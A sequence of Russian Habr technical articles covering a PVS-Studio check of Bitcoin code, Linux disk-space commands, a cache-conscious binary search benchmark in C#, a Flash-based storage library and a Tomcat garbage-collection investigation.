Данный закон был сформулирован Фридрихом Энгельсом в результате интерпретации логики Гегеля. Однако, его можно вполне углядеть в первом томе в главе о *мере*. Суть его заключается в том, что *количественные* изменения в объекте могут повлиять на его *качество*. Например, у нас есть объект лёд, при накоплении температуры он превратится в жидкую воду и изменит свои *качества*. Для реализации такого поведения в объекте существует шаблон проектирования "Состояние". Возникновение такого решения вызвано отсутствием в программировании такой вещи как *основание* для *возникновения* объекта. *Основание* определяет условия при которых объект может возникнуть, а в алгоритме мы сами решаем в какой момент нам нужно проинициализировать объект.
**PS:** Если данная информация будет интересной я проведу обзор других сущностей из "Науки логики". | https://habr.com/ru/post/448948/ | null | ru | null |
# Проверка Bitcoin
Ничего эпического в этой статье не будет. Мы проверили с помощью PVS-Studio исходный код Bitcoin. Нашли всего пару подозрительных мест. Это не удивительно. Думаю, эти исходные коды не проверял только ленивый. Но раз проверили, то решил написать маленькую заметку. Так сказать, «для галочки».
Началось всё с того, что мы задумались провести сравнение PVS-Studio и Clang на открытых проектах. Задача большая, сложная и думаю сделаем мы её не скоро. Сложность представляют следующие моменты:
1. Надо найти проекты, которые собираются с помощью GCC, но при этом их можно собрать с помощью Clang. Если мы будем проверять проекты, которые уже ориентированы на Clang, это будет нечестно. Clang в них естественно ничего не найдёт, так как ошибки уж поправлены. А PVS-Studio найдёт.
2. Анализатору PVS-Studio приходится играть на чужом поле под названием «Linux». Почти нет проектов, которые можно одновременно собрать с помощью Clang и Visual Studio. Теоретически говорится, что Clang уже хорошо совместим с Visual Studio. На практике это неправда. Не удаётся собрать и проверить многие проекты. PVS-Studio в свою очередь плохо проверяет проекты в Linux. В результате приходится выбирать проекты, с которыми одинаково удачно могут работать оба инструмента.
Одним из проектов, выбранных для сравнения стал Bitcoin. Оба анализатора в нём почти ничего не нашли. Это не удивительно. Думаю, этот проект проверялся уже многими инструментами. Соответственно, этот проект, скорее всего, не войдёт в сравнение. Поэтому, пусть останется хотя бы эта краткая заметка.
Анализ проекта
--------------
Описывать, что такое [Bitcoin](http://www.viva64.com/go.php?url=1410) не нужно. Исходные коды взяты с помощью:
git clone <https://github.com/bitcoin/bitcoin.git>
Анализ производился с помощью [PVS-Studio](http://www.viva64.com/ru/pvs-studio/) версии 5.17.
### Странный цикл
Нашлось только одно место, интересное на мой взгляд. Это какая-то функция, относящаяся к криптографии. Что она делает я не знаю. Возможно, я нашел EPIC FAIL. Сейчас модно находить эпические ошибки, связанные с безопасностью. Однако скорее всего, это мелкая ошибка или даже вовсе, так и было задумано.
```
bool CCryptoKeyStore::Unlock(const CKeyingMaterial& vMasterKeyIn)
{
{
LOCK(cs_KeyStore);
if (!SetCrypted())
return false;
CryptedKeyMap::const_iterator mi = mapCryptedKeys.begin();
for (; mi != mapCryptedKeys.end(); ++mi)
{
const CPubKey &vchPubKey = (*mi).second.first;
const std::vector &vchCryptedSecret =
(\*mi).second.second;
CKeyingMaterial vchSecret;
if(!DecryptSecret(vMasterKeyIn, vchCryptedSecret,
vchPubKey.GetHash(), vchSecret))
return false;
if (vchSecret.size() != 32)
return false;
CKey key;
key.Set(vchSecret.begin(), vchSecret.end(),
vchPubKey.IsCompressed());
if (key.GetPubKey() == vchPubKey)
break;
return false;
}
vMasterKey = vMasterKeyIn;
}
NotifyStatusChanged(this);
return true;
}
```
Предупреждение PVS-Studio: V612 An unconditional 'return' within a loop. crypter.cpp 169
Обратите внимание на цикл. В нем должны перебираться какие-то ключи. Но тело цикла выполняется только один раз. В конце цикла расположен оператор «return false;». Цикл также, может быть прерван досрочно с помощью операторов «break;». При этом в теле цикла нет ни одного оператора «continue;».
### Подозрительный сдвиг
```
static int64_t set_vch(const std::vector& vch)
{
if (vch.empty())
return 0;
int64\_t result = 0;
for (size\_t i = 0; i != vch.size(); ++i)
result |= static\_cast(vch[i]) << 8\*i;
// If the input vector's most significant byte is 0x80,
// remove it from the result's msb and return a negative.
if (vch.back() & 0x80)
return -(result & ~(0x80 << (8 \* (vch.size() - 1))));
return result;
}
```
Предупреждение PVS-Studio: V629 Consider inspecting the '0x80 << (8 \* (vch.size() — 1))' expression. Bit shifting of the 32-bit value with a subsequent expansion to the 64-bit type. script.h 169
Функция формирует 64-битное значение. Один сдвиг сделан правильно, а второй возможно нет.
Правильно:
```
static_cast(vch[i]) << 8\*i
```
В начале переменная расширяется до int64\_t и только потом происходит сдвиг.
Подозрительно:
```
0x80 << (8 * (vch.size() - 1))
```
Константа 0x80 имеет тип 'int'. Это значит, что при сдвиге может произойти переполнение. Так как функция генерирует 64-битное значение, то я подозреваю наличие ошибки. Подробнее про сдвиги я писал в статье "[Не зная брода, не лезь в воду — часть третья](http://www.viva64.com/ru/b/0142/)".
Безопасный вариант:
```
0x80ull << (8 * (vch.size() - 1))
```
### Опасные классы
```
class CKey {
....
// Copy constructor. This is necessary because of memlocking.
CKey(const CKey &secret) : fValid(secret.fValid),
fCompressed(secret.fCompressed) {
LockObject(vch);
memcpy(vch, secret.vch, sizeof(vch));
}
....
};
```
Предупреждение PVS-Studio: V690 The 'CKey' class implements a copy constructor, but lacks the '=' operator. It is dangerous to use such a class. key.h 175
Как следует из текста комментария, конструктор копирования нужен для осуществления синхронизации. Однако, скопировать объект можно не только с помощью конструктора копирования, но и с помощью operator =. А этот оператор не реализован. Даже если сейчас operator = нигде не используется это всё равно потенциально опасно.
Аналогично, стоит обратить внимание ещё на несколько классов:* V690 The 'Semantic\_actions' class implements the '=' operator, but lacks a copy constructor. It is dangerous to use such a class. json\_spirit\_reader\_template.h 196
* V690 The 'CFeeRate' class implements a copy constructor, but lacks the '=' operator. It is dangerous to use such a class. core.h 118
* V690 The 'CTransaction' class implements the '=' operator, but lacks a copy constructor. It is dangerous to use such a class. core.h 212
* V690 The 'CTxMemPoolEntry' class implements a copy constructor, but lacks the '=' operator. It is dangerous to use such a class. txmempool.h 27
* V690 The 'Json\_grammer' class implements the '=' operator, but lacks a copy constructor. It is dangerous to use such a class. json\_spirit\_reader\_template.h 370
* V690 The 'Generator' class implements the '=' operator, but lacks a copy constructor. It is dangerous to use such a class. json\_spirit\_writer\_template.h 98
Заключение
----------
Регулярное использование статических анализаторов может сэкономить массу времени и нервных клеток. Главное, чтобы это было удобно. Например, попробуйте инкрементальный анализ в PVS-Studio. Просто пишешь код и если что, тебя остановят. К [хорошему](http://www.viva64.com/ru/b/0222/) быстро привыкаешь.
Эта статья на английском
------------------------
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. <http://www.viva64.com/en/b/0268/>.
**Прочитали статью и есть вопрос?**Часто к нашим статьям задают одни и те же вопросы. Ответы на них мы собрали здесь: [Ответы на вопросы читателей статей про PVS-Studio и CppCat, версия 2014](http://www.viva64.com/ru/a/0085/). Пожалуйста, ознакомьтесь со списком. | https://habr.com/ru/post/231489/ | null | ru | null |
# Нечто «крадет» место на диске?
Если Вы не следите за оставшимся свободным местом в корневом разделе — то Вас могут ожидать неприятные новости. В случае переполнения данного раздела, важные для Вашего проекта сервисы перестанут работать. Согласитесь, неработающий **MySQL** или **web server** скажется на проекте не лучшим образом.
Одним из лучших решений данного вопроса будет использование некоторых утилит, которые помогут Вам определить в чем же проблема, что именно занимает дисковое пространство. Тот момент, когда оно постепенно заполняется, приводит к сложностям проведения анализа данной проблемы. Для этого существует ряд команд, которые помогут Вам провести мониторинг довольно быстро. Чаще всего виновником данной проблемы является [«демон»](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BC%D0%BE%D0%BD_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0)), активно записывающий свои действия в лог файл (привет людям, которые не настраивают ротацию логов, или забывают выключать режим **debug** в сервисах после отладки).
**Поиск самых больших файлов**
В такие моменты главная задача — оперативно найти необходимое свободное место. Самый простой метод — использование **df** вместе с **du**: **#df -h** — покажет место по разделам; **#du -sh /directory** занимаемое место директорией (ключ **-s** уберет лишний вывод).
Наиболее вероятный виновник — **/var/log** второй по месту **/home/**, дальше идут **/backup & /var/www/**. В случае, когда виноват лог **web-server'a**, достаточно удалить или очистить файл лога. Обратите внимание, что в случаях когда файл держится демоном (лог **apache**) для пересчета свободного места стоит дернуть **apache**, обнулить файл можно следующей командой **# echo ‘’ > /var/log/httpd/httpd.log**.
Если у Вас возникли некоторые вопросы по общему объему памяти, то Вы можете воспользоваться командой **df -h** и узнать объем свободного пространства в файловой системе. Итак, начнем:
```
# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg0-root 53G 44G 6.2G 88% /
tmpfs 939M 0 939M 0% /dev/shm
/dev/vda1 485M 45M 415M 10% /boot
/dev/mapper/vg0-temp 2.0G 75M 1.8G 4% /tmp
```
Редким является вариант, когда **df -h** показывает свободных 88% в разделе, но создание файла невозможно. В таком случае стоит использовать **df** с ключом **-i**, команда **# df** , вызванная с данным ключом покажет значение свободных [**inode**](https://ru.wikipedia.org/wiki/Inode) для файловой системы.
```
# df -i
Filesystem Inodes IUsed IFree IUse% Mounted on
/dev/mapper/vg0-root 3506176 320241 3185935 10% /
tmpfs 240295 1 240294 1% /dev/shm
/dev/vda1 128016 44 127972 1% /boot
/dev/mapper/vg0-temp 131072 275 130797 1% /tmp
```
Добавив ключ **-l (local)** — Вам выведутся данные только о локально-смонтированных файловых системах:
```
# df -hl
Filesystem Size Used Avail Use% Mounted on
/dev/mapper/vg0-root 53G 44G 6.2G 88% /
tmpfs 939M 0 939M 0% /dev/shm
/dev/vda1 485M 45M 415M 10% /boot
/dev/mapper/vg0-temp 2.0G 75M 1.8G 4% /tmp
```
Используя команду **sort**, Вы сортируете строки, входящие во все исходные файлы. Если имена файлов не указаны, или в качестве файла указан **-**, исходная информация поступает со стандартного ввода. Добавив опцию **-n** (числовое сравнение) с помощью которой сначала отбрасываются начальные пробелы, затем цифровые цепочки символов, содержащие быть может знак минус и десятичную точку, Вы получаете следующий результат:
```
# df -hl | sort -n
/dev/mapper/vg0-root 53G 45G 5.9G 89% /
/dev/mapper/vg0-temp 2.0G 75M 1.8G 4% /tmp
/dev/vda1 485M 45M 415M 10% /boot
Filesystem Size Used Avail Use% Mounted on
tmpfs 939M 0 939M 0% /dev/shm
```
С помощью утилиты **du (disk used)** Вы получаете отчет об использовании дискового пространства заданными файлами, а также каждым каталогом иерархии подкаталога каждого указанного каталога. Если Вы запустили команду без аргументов, то команда **du** выдает отчет о дисковом пространстве для текущего каталога.
```
# du
8 ./.config/htop
12 ./.config
5056 ./.xmlcache/ispmgr/checked
15048 ./.xmlcache/ispmgr
752 ./.xmlcache/core/checked
4440 ./.xmlcache/core
1088 ./.xmlcache/ispmgrnode/checked
6780 ./.xmlcache/ispmgrnode
26284 ./.xmlcache
20 ./.ssh
168 ./.gem/specs/api.rubygems.org%443/quick/Marshal.4.8
172 ./.gem/specs/api.rubygems.org%443/quick
8376 ./.gem/specs/api.rubygems.org%443
8380 ./.gem/specs
8384 ./.gem
8 ./.spamassassin
4 ./.mc/cedit
32 ./.mc
12 ./mod
```
Добавив параметр **— — time** Вы получите вывод данных с указанным временем модификации.
```
# du --time . | sort -k2 | tail -5
5056 2015-07-29 17:11 ./.xmlcache/ispmgr/checked
20 2015-09-03 18:04 ./.ssh
4 2015-10-15 12:42 ./test
32 2015-10-20 19:38 ./.mc
1245816 2015-11-06 13:50 .
```
Вы также можете запустить поиск больших файлов, используя команду **find**:
```
# find . -size +1M -ls | sort -n -k7
15089762 1264 -rw-r----- 1 shs staff 1289365 Feb 24 2015 ./bin/235.log
12731834 1724 -rw-r----- 1 shs staff 1761280 Oct 15 2015 ./bin.tar
13320206 2192 -rw------- 1 shs staff 2239058 Dec 8 2015 ./mail/lab7
13320203 6308 -rw------- 1 shs staff 6443348 Oct 26 2015 ./mail/lab6
12731744 19736 -rw-r----- 1 shs staff 20183040 Jul 29 2015 ./backup.tar
```
Удобная утилита для общей оценки занимаемого места и очистки уже неактуальных данных **ncdu** — предоставляет псевдографический интерфейс, и удобную навигацию. Из минусов: не подходит для экстренных ситуаций описанных вначале статьи, т.к. **ncdu** сначала подсчитывает весь объем файлов указанного диска (директорий), и только собрав требующую информацию, выдает результат, с которым можно работать.
---
*P.S. Мы проводим акцию специально для читателей Хабра. [Пост с подробностями тут](http://habrahabr.ru/company/ua-hosting/blog/271219/).* | https://habr.com/ru/post/271101/ | null | ru | null |
# Cache-Conscious Binary Search
Рассмотрим простую задачу: есть некоторый достаточно большой неизменный набор чисел, к нему осуществляется множество запросов на наличие некоторого числа в этом наборе, необходимо максимально быстро эти запросы обрабатывать. Одно из классических решений заключается в формировании отсортированного массива и обработке запросов через бинарный поиск. Но можно ли добиться более высокой производительности, чем в классической реализации? В этой статье мне хотелось бы рассказать про Cache-Conscious Binary Search. В данном алгоритме предлагается переупорядочить элементы массива таким образом, чтобы использование кэша процессора происходило максимально эффективно.
**Дисклеймер:** я не пытаюсь создать самое эффективное решение данной задачи. Мне хотелось бы просто обсудить подход к построению структур данных на основе учёта особенностей работы с кэшом процессора, т.к. многие при решении оптимизационных задач в принципе не задумываются о процессорной архитектуре. Я также не собираюсь писать идеальную реализацию Cache-Conscious Binary Search, мне хотелось бы посмотреть эффект от подобного подхода на достаточно простом примере (также в целях упрощения кода количество вершин берётся равным N=2^K-1). В качестве языка программирования я буду использовать C# (общее быстродействие для нас не принципиально, т.к. основной акцент делается не на создании самой быстрой программы в мире, а на относительном сравнении различных подходов к решению задачи). Стоит также отметить, что алгоритм эффективен только на больших массивах, поэтому не следует использовать данный подход во всех задачах, сперва нужно убедиться в его целесообразности. Предполагается, что у читателя имеются базовые представления о том, что такое кэш процессора, и как он работает.
Рассмотрим классическую реализацию бинарного поиска: пусть у нас имеется отсортированный массив `a` и некоторый элемент `x`, который мы будем в нём искать:
```
public bool Contains(int x)
{
int l = 0, r = N - 1;
while (l <= r)
{
int m = (l + r) / 2;
if (a[m] == x)
return true;
if (a[m] > x)
r = m - 1;
else
l = m + 1;
}
return false;
}
```
В данной реализации на первых итерациях алгоритма запросы будут осуществляться к элементам массива, которые находятся далеко друг от друга. Изобразим дерево поиска для массива из 15-и элементов:
Из рисунка видно, что при проходе по такому дереву сперва будет обращение к 7-му элементу, а затем (в случае `a[7]!=x`) к 3-ему или 11-ому. На таком маленьком массиве это не критично, но в большом массиве эти обращения будут соответствовать разным строчкам кэша процессора, что негативно скажется на производительности. Давайте попробуем переупорядочить элементы так, чтобы последовательные обращения к массиву приходились на близкие участки памяти. В первом приближении можно попробовать расположить друг за другом каждый уровень дерева с помощью простого поиска в ширину. На нашем тестовом дереве получим следующий результат:
Теперь элементы массива, к которым мы будем обращаться на первых итерациях, находятся недалеко друг от друга. Но с ростом номера итерации мы всё равно получим большое количество cache miss-ов. Чтобы исправить данную ситуацию, разобьём наше «большое» дерево бинарного поиска на небольшие поддеревья. Каждое такое поддерево будет соответствовать нескольким уровням оригинального дерева, а элементы поддерева будут находится недалеко друг от друга. Таким образом, cache miss будут образовываться в основном при переходе к очередному поддереву. Высоту поддерева можно варьировать, подбирая её в соответствии с процессорной архитектурой. Проиллюстрируем данные построения на нашем примере, взяв высоту поддерева равным 2:
А теперь перейдём к практическим исследованиям. Для чистоты эксперимента и получения точных результатов будем замерять время с помощью проекта [BenchmarkDotNet](https://github.com/AndreyAkinshin/BenchmarkDotNet). Рассмотрим самую тривиальную реализацию рассмотренного алгоритма без каких-либо дополнительных оптимизаций (исходный код [приведён](https://github.com/AndreyAkinshin/BenchmarkDotNet/blob/master/Benchmarks/CacheConsciousBinarySearchCompetition.cs) на GitHub). Сравнивать будем классическую реализацию и cache-conscious-реализации с разными высотами поддеревьев (CacheConsciousSearchK соответствует поддереву с высотой K). Высоту дерева возьмём равной 24. На моей машине (Intel Core i7-3632QM CPU 2.20GHz) получились следующие результаты (алгоритм очень чувствителен к процессорной архитектуре, поэтому у вас могут получиться совсем другие временные оценки):
```
// Microsoft.NET 4.5 x64
SimpleSearch : 6725ms
CacheConsciousSearch1 : 4428ms
CacheConsciousSearch2 : 3963ms
CacheConsciousSearch3 : 3778ms
CacheConsciousSearch4 : 3774ms
CacheConsciousSearch5 : 3762ms
```
**Исходный код бенчмарка**
```
public class CacheConsciousBinarySearchCompetition : BenchmarkCompetition
{
private const int K = 24, N = (1 << K) - 1, IterationCount = 10000000;
private readonly Random random = new Random();
private Tree originalTree;
private int[] bfs;
protected override void Prepare()
{
originalTree = new Tree(Enumerable.Range(0, N).Select(x => 2 * x).ToArray());
bfs = originalTree.Bfs();
}
[BenchmarkMethod]
public void SimpleSearch()
{
SingleRun(originalTree);
}
[BenchmarkMethod]
public void CacheConsciousSearch1()
{
SingleRun(new CacheConsciousTree(bfs, 1));
}
[BenchmarkMethod]
public void CacheConsciousSearch2()
{
SingleRun(new CacheConsciousTree(bfs, 2));
}
[BenchmarkMethod]
public void CacheConsciousSearch3()
{
SingleRun(new CacheConsciousTree(bfs, 3));
}
[BenchmarkMethod]
public void CacheConsciousSearch4()
{
SingleRun(new CacheConsciousTree(bfs, 4));
}
[BenchmarkMethod]
public void CacheConsciousSearch5()
{
SingleRun(new CacheConsciousTree(bfs, 5));
}
private int SingleRun(ITree tree)
{
int searchedCount = 0;
for (int iteration = 0; iteration < IterationCount; iteration++)
{
int x = random.Next(N * 2);
if (tree.Contains(x))
searchedCount++;
}
return searchedCount;
}
interface ITree
{
bool Contains(int x);
}
class Tree : ITree
{
private readonly int[] a;
public Tree(int[] a)
{
this.a = a;
}
public bool Contains(int x)
{
int l = 0, r = N - 1;
while (l <= r)
{
int m = (l + r) / 2;
if (a[m] == x)
return true;
if (a[m] > x)
r = m - 1;
else
l = m + 1;
}
return false;
}
public int[] Bfs()
{
int[] bfs = new int[N], l = new int[N], r = new int[N];
int tail = 0, head = 0;
l[head] = 0;
r[head++] = N - 1;
while (tail < head)
{
int m = (l[tail] + r[tail]) / 2;
bfs[tail] = a[m];
if (l[tail] < m)
{
l[head] = l[tail];
r[head++] = m - 1;
}
if (m < r[tail])
{
l[head] = m + 1;
r[head++] = r[tail];
}
tail++;
}
return bfs;
}
}
class CacheConsciousTree : ITree
{
private readonly int[] a;
private readonly int level;
public CacheConsciousTree(int[] bfs, int level)
{
this.level = level;
int size = (1 << level) - 1, counter = 0;
a = new int[N];
var was = new bool[N];
var queue = new int[size];
for (int i = 0; i < N; i++)
if (!was[i])
{
int head = 0;
queue[head++] = i;
for (int tail = 0; tail < head; tail++)
{
a[counter++] = bfs[queue[tail]];
was[queue[tail]] = true;
if (queue[tail] * 2 + 1 < N && head < size)
queue[head++] = queue[tail] * 2 + 1;
if (queue[tail] * 2 + 2 < N && head < size)
queue[head++] = queue[tail] * 2 + 2;
}
}
}
public bool Contains(int x)
{
int u = 0, deep = 0, leafCount = 1 << (level - 1);
int root = 0, rootOffset = 0;
while (deep < K)
{
int value = a[root + u];
if (value == x)
return true;
if (++deep % level != 0)
{
if (value > x)
u = 2 * u + 1;
else
u = 2 * u + 2;
}
else
{
int subTreeSize = (1 << Math.Min(level, K - deep)) - 1;
if (value > x)
rootOffset = rootOffset * leafCount * 2 + (u - leafCount + 1) * 2;
else
rootOffset = rootOffset * leafCount * 2 + (u - leafCount + 1) * 2 + 1;
root = (1 << deep) - 1 + rootOffset * subTreeSize;
u = 0;
}
}
return false;
}
}
}
```
На всякий случай я запустил бенчмарк под различными версиями .NET Framework и с различной битностью. Все конфигурации дали схожие результаты:
Под Mono 3.3.0 результаты также получились аналогичными:
Из этих картинок видно, что классическая реализация бинарного поиска значительно уступает Cache-Conscious-реализации. Стоит отметить, что по началу с ростом высоты поддеревьев быстродействие возрастает, но эта тенденция наблюдается недолго (поддеревья начинают приносить мало пользы, если внутри поддерева возникает большое количество cashe miss-ов).
Разумеется, Cache-Conscious Binary Search является лишь примером того, как можно адаптировать программу к особенностям работы кэша процессора. Подобные Cache-Conscious Data Structures могут оказать неоценимую помощь при оптимизации приложения, если ваши структуры данных имеют достаточно большой объём, а последовательные запросы к ним приходятся на разные участки памяти. Но не стоит бездумно бросаться переписывать всё под Cache-Conscious: помните, что код станет намного сложнее, а повышение эффективности в значительной степени зависит от используемой процессорной архитектуры. В реальной жизни лучше сперва подумать о выборе наиболее оптимальных алгоритмов с хорошей асимптотикой, различных предподсчётах, эвристиках и т.п., а Cache-Conscious приберечь на времена, когда всё станет совсем плохо.
Быстрых вам приложений!
---
Также можно почитать по теме:* [Cache Conscious Indexing for Decision-Support in Main Memory](http://www.vldb.org/conf/1999/P7.pdf)
* [Cache-Conscious Data Structures](http://research.microsoft.com/en-us/um/people/trishulc/papers/ccds.pdf)
* [Cache-Conscious Concurrent Data Structures](http://mspiegel.github.io/publications/michael-spiegel-dissertation.pdf)
* [Making B+-Trees Cache Conscious in Main Memory](http://ftp.cse.buffalo.edu/users/azhang/disc/disc01/cd1/out/papers/sigmod/p475-rao/p475-rao.pdf)
---
**Update.** Дополнение от [MikeMirzayanov](https://habrahabr.ru/users/mikemirzayanov/): Есть такой трюк. Если надо бинпоиском поискать в массиве длине n, то можно разбить его на sqrt(n) блоков по sqrt(n) элементов. Затем бинпоиском за log(sqrt(n)) подыскать нужный блок и в нём вторым бинпоиском за log(sqrt(n)) найти элемент. В сумме получается всё тот же log(n), но попаданий в кэш значительно больше, т.к. каждый раз ищем на довольно коротком массиве длины sqrt(n). | https://habr.com/ru/post/202820/ | null | ru | null |
# JFStorage: Альтернатива cookies
Навеяно топиком [~~Альтернатива cookies посредством Java Script~~](http://habrahabr.ru/blog/javascript/46817.html)
Ипользование cookie ограничено 4 кб. размера, так же они видны пользователю.
При использование Flash Storage прочитать cookie немного сложнее и позволяет сохранять до 100 кб и выше данных на компьютере пользователя.
### Управление очень простое:
`setCookie(key,value) - установить печеньку
getCookie(key) - взять печеньку
removeCookie(key) - удалить печеньку
isExistCookie(key) - есть ли печенька?`
**Размер:** 3 кб.
**Демо:** [jfstorage.agrr.org/JFStorage.html](http://jfstorage.agrr.org/JFStorage.html)
**Google Code:** [code.google.com/p/jfstorage](http://code.google.com/p/jfstorage)
### Технологии
Часть работающая с SharedObject взята с [ntt.cc/2008/07/13/the-source-code-of-actionscript-3-cookie-class-enables-you-to-read-write-and-edit-shared-objects-on-the-user-hard-disk.html](http://ntt.cc/2008/07/13/the-source-code-of-actionscript-3-cookie-class-enables-you-to-read-write-and-edit-shared-objects-on-the-user-hard-disk.html) и чуточку обработана напильником.
Взаимодействие между JavaScript и Flash написано мной. Использованы стандартные библиотеки.
### Как можно использовать?
Как хранилище скрытых данных.
Как хранилище больших данных.
Как способ offline-ой подгрузки данных. | https://habr.com/ru/post/29376/ | null | ru | null |
# История одного garbage collection'а
Эта поучительная история повествует о том, как важно развивать навыки гугления, и о том, как я боролся с ежечасным полным Garbage collection.
### Краткое описание проблемы
После того, как мы мигрировали в продакшене один из компонентов системы (единственный, работающий на Tomcat) на новую версию томката, неожиданно саппорт запаниковал, увидев в логах полуторасекундные запуски GC.
Вообще, в нашем проекте (FX trading platform в инвестиционном банке) любой запуск GC больше 50 миллисекунд (ms) вызывает беспокойство саппорта, мониторящего, кроме всего прочего, логи GC, а GC больше 100 ms вызывают истерику. Поэтому, увидев в логах 1.45 секунд, они просто запаниковали. Мне повезло быть на «второй линии обороны» в тот день, и я начал разбираться, в чем же дело.
### Ход расследования
Для начала, полез в логи. И увидел:
`[Full GC (System) 25.575: [CMS: 20700K->22393K(655360K) <...>`
Ключевое здесь — указание на то, что это System — т.е. полная сборка мусора активирована вызовом `System.gc()`. Думаю, будет лишним говорить, что у нас в коде это не используется.
**Лирическое отступление**Если быть совсем честным, то это не правда — мы используем вызов `System.gc()`, со вполне благой целью. Дело в том, что в процессе старта система пре-кеширует огромное количество «static data» — информации о пользователях, валютах и т.п., и процесс этот генерирует довольно много мусора. Поэтому после того, как мы закончили все приготовления, и непосредственно перед тем, как мы отрапортуем, что система запустилась, мы вызываем `System.gc()`, чтобы заодно избавиться от лишней фрагментации памяти. Кроме того, мы делаем то же самое каждую ночь в 17:00 по Нью-Йоркскому времени, когда заканчивается торговый день, и вся наша система уходит в оффлайн на 5 минут (maintenance mode), с целью убрать накопившийся за день мусор и дефрагментировать память. В рабочее время, мы стараемся избегать old-gen collection, так как даже ParNew-сборки, занимающие 20-40 ms, создают порой непозволительные задержки.
Первым делом, по старой памяти, был проверен [DGC](http://publib.boulder.ibm.com/infocenter/javasdk/v5r0/index.jsp?topic=%2Fcom.ibm.java.doc.diagnostics.50%2Fdiag%2Funderstanding%2Frmi_dgc.html) (ссылка на антимонгольском, кратко — сборщик мусора, активируемый при использовании в приложении RMI). Когда-то именно он был причиной полных сборок каждый час на многих наших системах, по той простой причине, что мы используем RMI для JMX. Поэтому в один прекрасный день, много лет назад, мы на всех системах добавили в параметры запуска JVM следующее:
```
-Dsun.rmi.dgc.server.gcInterval=0x7FFFFFFFFFFFFFFE
-Dsun.rmi.dgc.client.gcInterval=0x7FFFFFFFFFFFFFFE
```
Источники сих настроек: [[1]](http://www.oracle.com/technetwork/java/javase/gc-tuning-6-140523.html#other_considerations), [[2]](http://docs.oracle.com/javase/6/docs/technotes/guides/rmi/sunrmiproperties.html). Все, что они призваны изменить — сказать DGC, что он может запускаться раз в `0x7FFFFFFFFFFFFFFE` миллисекунд (примерно раз в 292471208 лет).
Проверив старт-скрипт томката, я увидел, что там есть маленькая ошибка, и вместо `0x7FFFFFFFFFFFFFFE` используется `0x7FFFFFFFFFFFFFFF`. Граничное это значение вызывает `IllegalArgumentException` (код из `sun.misc.GC` класса):
```
if (this.latency == 9223372036854775807L) {
throw new IllegalStateException("Request already cancelled");
}
```
#### We need to go deeper!
Однако, исправив это недоразумение, я был очень удивлен, когда после перезапуска томкатов мы снова увидели все те же ежечасные `Full GC (System)`! Пришлось напрячь соображалку. Чтобы узнать, кто же виноват в вызове `System.gc()`, я быстренько написал свою реализацию класса `java.lang.Runtime`, скопировав стандартный класс и изменив у него метод `gc()` (который вызывается при вызове `System.gc()`).
Оригинальный метод:
```
public native void gc();
```
Измененный метод:
```
public void gc() {
Thread.dumpStack();
}
```
Как видите, все, что мы здесь делаем — узнаем, кто же все-таки нас вызвал, путем вывода в `stdout` стектрейса, т.к. все, что делает метод `Thread.dumpStack()` — создает исключение и выводит его стектрейс:
```
/**
* Prints a stack trace of the current thread to the standard error stream.
* This method is used only for debugging.
*
* @see Throwable#printStackTrace()
*/
public static void dumpStack() {
new Exception("Stack trace").printStackTrace();
}
```
Подменяем `java.lang.Runtime` класс в нашей джава-машине с помощью `-Xbootclasspath/p:/tmp/runtime`, запускаем… И что же мы видим?
```
java.lang.Exception: Stack trace
at java.lang.Thread.dumpStack(Thread.java:1249)
at java.lang.Runtime.gc(Runtime.java:689)
at java.lang.System.gc(System.java:926)
at sun.misc.GC$Daemon.run(GC.java:92)
```
Тот самый DGC! Но как? Мы же выставили фактически бесконечный интервал между запусками DGC? Вот тут мне пришлось напрячь все мои скиллы гугления. И так я искал, и этак — ничего не мог найти. Проверил, не перезаписывает ли кто мои установки для DGC — оказалось, что к моменту запуска GC все системные свойства имеют такие же значения, как я и выставил. Сюрприз…
#### ...Deeper!
На этом месте мое подозрение пало на томкат. И вот, счастливая комбинация слов в запросе к гуглу дала-таки мне одну-единственную ссылку, которая заставила меня произнести то, что печатать здесь мне очень стыдно, и мои английские коллеги (помогавшие мне, по мере сил, в расследовании, путем задавания наводящих вопросов типа «А гуглить пробовал?») очень неодобрительно на меня посмотрели… Потом посмотрели на то, что написано по ссылке — и повторили мои ругательства.
Итак, вот она, [ссылка](http://stackoverflow.com/questions/14902928/why-does-the-jvm-of-these-tomcat-servers-perform-a-full-gc-hourly), которая, в свою очередь, ведет на багзиллу томката: [тынц](https://issues.apache.org/bugzilla/show_bug.cgi?id=53267). Вкратце, эти гениальные ребята из апача через рефлексию перезаписывают значение интервала, с которым должен вызываться DGC, прямо в классе `sun.rmi.GC`, и несмотря на то, что мы выставили свои `-Dsun.rmi.dgc.*` свойства, они все равно не имеют никакого эффекта! Ибо мы используем томкат 6.0.35, а баг этот был исправлен в следующей версии, 6.0.36.
Вот код из томкатовского класса `JreMemoryLeakPreventionListener`, который собственно ответственен за это поведение:
```
/*
* Several components end up calling:
* sun.misc.GC.requestLatency(long)
*
* Those libraries / components known to trigger memory leaks
* due to eventual calls to requestLatency(long) are:
* - javax.management.remote.rmi.RMIConnectorServer.start()
*/
if (gcDaemonProtection) {
try {
Class clazz = Class.forName("sun.misc.GC");
Method method = clazz.getDeclaredMethod("requestLatency", new Class[] {long.class});
method.invoke(null, Long.valueOf(3600000));
} catch (...) {
...
}
}
```
Там же, на SO, я нашел и workaround:
> set `/>`
Именно это я и сделал. Как вы можете видеть из кода выше, флаг `gcDaemonProtection` просто отключает этот блок кода, ответственный за странное поведение. И — о, чудо! — это помогло! Ежечасные сборки мусора исчезли в небытие, саппорт счастлив, я пошел пить чай.
### Выводы
А выводов, в общем-то, немного:
1. Самое главное — учитесь правильно формулировать запросы к гуглу! Я попробовал с десяток разных комбинаций, пока наконец-то не наткнулся на совершенно банальный запрос `tomcat hourly full GC`, который и выдал мне искомую ссылку.
2. Не надо подразумевать, что сторонний, пусть даже очень известый софт, не имеет багов — очень даже имеет! И это ужу не первый раз, когда мы нарываемся на баги. В прошлый раз это был баг в Hotspot CMS, который очень сильно портил нам время на сборку мусора. Решился апгрейдом на новую JVM.
3. Ну и, конечно, рефлексия — зло, особенно если вы — разработчик контейнера или библиотеки, и лезете ~~грязными руками~~ рефлексией в системные классы.
Спасибо за внимание, надеюсь, кому-то мой опыт окажется полезен. | https://habr.com/ru/post/179309/ | null | ru | null |
# Как безболезненно перевести образовательное учреждение на Linux и СПО?
Доброго времени суток.
